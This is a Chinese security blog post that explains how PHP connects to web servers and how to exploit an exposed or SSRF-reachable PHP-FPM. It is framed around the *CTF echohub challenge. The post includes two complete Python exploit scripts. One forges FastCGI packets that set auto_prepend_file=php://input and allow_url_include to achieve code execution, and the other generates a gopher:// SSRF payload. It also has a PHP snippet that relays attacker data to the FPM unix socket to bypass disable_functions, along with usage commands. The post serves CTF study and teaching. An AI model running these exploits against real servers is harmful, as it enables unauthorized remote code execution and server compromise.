PHP 连接方式介绍以及如何攻击 PHP-FPM

本文作者:evoA(信安之路首次投稿作者)

看了 zsx 师傅的 《*CTF echohub WP》,发现自己对这一块特别不熟,再此记录一下

PHP 的连接方式

apche2-module

把 php 当做 apache 的一个模块,实际上 php 就相当于 apache 中的一个 dll 或一个 so 文件,phpstudy 的非 nts 模式就是默认以 module 方式连接的:

image

CGI 模式

此时 php 是一个独立的进程比如 php-cgi.exe,web 服务器也是一个独立的进程比如 apache.exe,然后当 Web 服务器监听到 HTTP 请求时,会去调用 php-cgi 进程,他们之间通过 cgi 协议,服务器把请求内容转换成 php-cgi 能读懂的协议数据传递给 cgi 进程,cgi 进程拿到内容就会去解析对应 php 文件,得到的返回结果在返回给 web 服务器,最后 web 服务器返回到客户端,但随着网络技术的发展,CGI 方式的缺点也越来越突出。每次客户端请求都需要建立和销毁进程。因为 HTTP 要生成一个动态页面,系统就必须启动一个新的进程以运行 CGI 程序,不断地 fork 是一项很消耗时间和资源的工作。

FastCGI 模式

fastcgi 本身还是一个协议,在 cgi 协议上进行了一些优化,众所周知,CGI 进程的反复加载是 CGI 性能低下的主要原因,如果 CGI 解释器保持在内存中 并接受 FastCGI 进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over 特性等等。

简而言之,CGI 模式是 apache2 接收到请求去调用 CGI 程序,而 fastcgi 模式是 fastcgi 进程自己管理自己的 cgi 进程,而不再是 apache 去主动调用 php-cgi,而 fastcgi 进程又提供了很多辅助功能比如内存管理,垃圾处理,保障了 cgi 的高效性,并且 CGI 此时是常驻在内存中,不会每次请求重新启动

PHP-FPM

这个大家肯定都不陌生,在 linux 下装 php 环境的时候,经常会用到 php-fpm,那 php-fpm 是什么?

上面提到,fastcgi 本身是一个协议,那么就需要有一个程序去实现这个协议,php-fpm 就是实现和管理 fastcgi 协议的进程,fastcgi 模式的内存管理等功能,都是由 php-fpm 进程所实现的

下面引用 p 师傅的博客文章:

Nginx 等服务器中间件将用户请求按照 fastcgi 的规则打包好通过 TCP 传给谁?其实就是传给 FPM。

FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果 web 目录是/var/www/html,那么 Nginx 会将这个请求变成如下 key-value 对:

{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }

这个数组其实就是 PHP 中$_SERVER数组的一部分,也就是 PHP 里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉 fpm:“我要执行哪个 PHP 文件”。

PHP-FPM 拿到 fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的 PHP 文件,也就是/var/www/html/index.php。

本质上 fastcgi 模式也只是对 cgi 模式做了一个封装,本质上只是从原来 web 服务器去调用 cgi 程序变成了 web 服务器通知 php-fpm 进程并由 php-fpm 进程去调用 php-cgi 程序。

判断连接模式

就拿 *CTF 来说,如何判断一个 php 的连接模式?在接触不到服务器文件的情况下,我们可以通过 phpinfo 来判断:



phpinfo 的第三行代表了 PHP 的连接模式,第一张图的 Apache 2.0 Handler 代表了这个 php 使用了 apache-module 模式,第二张图的 CGI/FastCGI 代表了用 CGI 模式进行通信,第三张图的 FPM 代表了 php-fpm 进程的 fastcgi 模式

一般来说,apache 服务器常用 module 方式起 php,nginx 服务器常用 fastcgi 模式起 php,所以接下来我已 nginx 为例

php-fpm 的模式

是不是很绕,php-fpm 下还可以继续分,如果使用 fastcgi 模式,nginx 与 php-fpm 通信可以通过两种模式,一种是 TCP 模式,一种是 unix 套接字 (socket) 模式

TCP 模式

TCP 模式即是 php-fpm 进程会监听本机上的一个端口(默认 9000),然后 nginx 会把客户端数据通过 fastcgi 协议传给 9000 端口,php-fpm 拿到数据后会调用 cgi 进程解析

nginx的配置文件像这个样子:

/etc/nginx/sites-available/default

location ~ \.php$ {
      index index.php index.html index.htm;
      include /etc/nginx/fastcgi_params;
      fastcgi_pass 127.0.0.1:9000;
      fastcgi_index index.php;
      include fastcgi_params;
 }

php-fpm 的配置文件像这个样子

/etc/php/7.3/fpm/pool.d/www.conf

listen=127.0.0.1:9000

Unix Socket

unix socket 其实严格意义上应该叫 unix domain socket,它是 unix 系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为 socket 的唯一标识(描述符),需要通信的两个进程引用同一个 socket 描述符文件就可以建立通道进行通信了。

具体原理这里就不讲了,但是此通信方式的性能会优于 TCP

/etc/nginx/sites-available/default

location~\.php${
      index index.php index.html index.htm;
      include /etc/nginx/fastcgi_params;
      fastcgi_pass unix:/run/php/php7.3-fpm.sock;
      fastcgi_index index.php;
      include fastcgi_params;
}

/etc/php/7.3/fpm/pool.d/www.conf

listen = /run/php/php7.3-fpm.sock

php-fpm 未授权漏洞

既然 nginx 通过 fastcgi 协议与 php-fpm 通信。那么理论上,我们可以伪造 fastcgi 协议包,欺骗 php-fpm 进程,从而执行任意代码

这里有个 bug 的地方是,除 disable_function 以外的大部分 php 配置,都可以在协议包里面更改,包括 php 手册规定的:

《php.ini 配置选项列》

PHP: php.ini 配置选项列表 - Manual

fastcgi 协议中只可以传输配置信息及需要被执行的文件名及客户端传进来的 get,post,cookie 等数据。看上去我们即使能传输任意协议包也不能任意代码执行,但是我们可以通过更改配置信息来执行任意代码

auto_prepend_file

auto_prepend_file是告诉 PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件,并且auto_prepend_file可以使用php伪协议

我们先把配置auto_prepend_file 修改为 php://input

php://input

php://input 是客户端所有的 POST 数据, 因为 fastcgi 协议中可以控制数据段 POST 数据所以这样就可以包含 post 传进来的数据,但是 php://input 需要开启allow_url_include,官方手册虽然这个配置规定只能在 php.ini 中修改,但是 bug 的是,fastcgi 协议的 PHP_ADMIN_VALUE 选项可以修改几乎所有的配置,所以通过 PHP_ADMIN_VALUE 把 allow_url_include 修改为 True,这样就可以通过 fastcgi 协议任意代码执行

文件名

但是还需要注意的是,我们需要知道一个服务端已知的php文件,因为php-fpm拿到fastcgi数据包后,先回去判断客户端请求的文件是否存在(即fastcgi数据包中的文件名),如果不存在就不会执行,并且由于security.limit_extensions这个配置,文件名必须是php后缀。如果服务端解析php,直接猜绝对路径用/var/www/html/index.php就行了,但是如果不知道Web的绝对路径或者web目录下没有php文件,就可以指定一些php默认安装就存在的php文件 可以使用find / -name *.php查找自己服务器上有哪些php后缀的文件

比如

/usr/local/lib/php/PEAR.php

/usr/share/php/PEAR.php

接下来就可以用别人的脚本啦!

脚本(来源于 p 师傅)

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s

class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='
')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
print(force_text(response))

用法:

python exp.py -c phpcode -p port host filename

比如:

python exp.py -c "" 127.0.0.1 /var/www/html/test.php`

post 默认为 9000 端口,这样就可以攻击未授权任意代码执行啦!

SSRF+Gopher

除了攻击未授权,现在大部分 php-fpm 应用都是绑定在 127.0.0.1,所以我们当然可以通过 SSRF 来攻击 php-fpm,我改了一下 p 师傅的脚本,暂时只能用 python2 跑:

import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
       # if not self.__connect():
        #    print('connect failure! please check your fasctcgi-server !!')
         #   return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        #print base64.b64encode(request)
        return request
        # self.sock.send(request)
        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        # self.requests[requestId]['response'] = b''
        # return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='
')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    response = urllib.quote(response)
    print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)

用法跟上面的一样,只不过会直接返回给你 gopher 的 exp,如果是 php 页面存在 ssrf 漏洞记得生成 exp 还要在 Url 编一次码,因为 exp 进入 web 服务器会解一次码,php 在请求一次又会解一次码。

而我的脚本只编了一次码:

当然也可以使用(Gopherus):

这个工具也是特别好用,并且支持生成 gopher 打多种服务的 exp,当然这里主讲 php-fpm,不知道的可以去了解

攻击套接字
上面讲的都是 php-fpm 通过 TCP 方式与 nginx 连接,那如果 php-fpm 通过 unix 套接字与 nginx 连接该怎么办 接下来请欣赏 php 的魔法

<?php 
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));
?>
//来自https://xz.aliyun.com/t/5006#toc-3 
//ROIS的*CTF WP

默认套接字的位置在 /run/php/php7.3-fpm.sock(7.3 是 php 版本号)

当然,如果不在的话可以通过默认 /etc/php/7.3/fpm/pool.d/www.conf 配置文件查看套接字路径 或者 TCP 模式的端口号。

当然,如果采用套接字的方式连接,我们暂时不能使用 ssrf 来攻击 php-fpm,只能通过 linux 的数据流来进行数据传递,相对于 tcp 还是比较安全的 exp 的话,把上面那个 exp 的最后三行改下就行了,如果是 base64 数据传输换成 base64encode,如果直接传的话把 gopher 的字符串去掉

*CTF echohub

从 echohub 这道题来说,题目环境装了 apache 服务器和 apache-module 模式的 php 模块,并且题目环境就是以 apache-module 运行的 php,但是环境也安装了 php-fpm,并且最后还启动了所有的服务

什么意思,就是我题目环境除了 apache-module 的 php,还要装一个 php-fpm,相当于服务器有两个 php 环境,apache 使用的是 module 的 php,另一个 php-fpm 虽然开启但是是一个无用的进程没有 web 服务器与他通信

题目的 web 环境也就是 apache-module 的 php 的 disable_function 限制的特别死无法执行系统命令,于是呢就可以通过攻击另一个 php 环境来执行系统命令(不同的 php 环境使用不一样的配置文件)

这道题 exp 就是上面攻击套接字那个,通过攻击另一个没啥限制的 php-fpm 来执行系统命令

默认安装的 php-fpm 如果不做改动的话,都是默认以套接字方式进行通信(php7 以上都是)

ubuntu 安装 php

如何安装 php 可能可以帮助深入理解一下这个过程

如何安装 apache-module

apt update
apt install -y apache2
apt install -y software-properties-common
add-apt-repository -y ppa:ondrej/php
apt update
apt install -y libapache2-mod-php7.3      #这个就是apache的内置php模块
service apache2 start                      #因为php内置在apache,所以只需要启一个服务

安装 nginx + fastcgi

apt update
apt install -y nginx
apt install -y software-properties-common
add-apt-repository -y ppa:ondrej/php
apt update
apt install -y php7.3-fpm
apt install vim

然后:

vim /etc/nginx/sites-enabled/default

把 56 开始注释掉,然后选择你想要的连接模式,注释 60 行或者 62 行,socket 的话记得更改后面 php7.0 为对应版本号:

vim /etc/php/7.3/fpm/pool.d/www.conf

如果需要 TCP 模式,把 listen = /run/php/php7.3-fpm.sock 替换为 listen = 127.0.0.1:9000,然后

/etc/init.d/php7.3-fpm start# php-fpm 是一个独立的进程,需要单独启动

service nginx start

完成!

参考

https://xz.aliyun.com/t/5006

https://www.php.net/manual/zh/ini.list.php

image

信安之路 - 九零合作伙伴

微信号

xazlsec

功能介绍专注分享信息安全技术学习与实践的点点滴滴,打造自由学习、交流、分享的安全平台,争做安全从业人员的好帮手!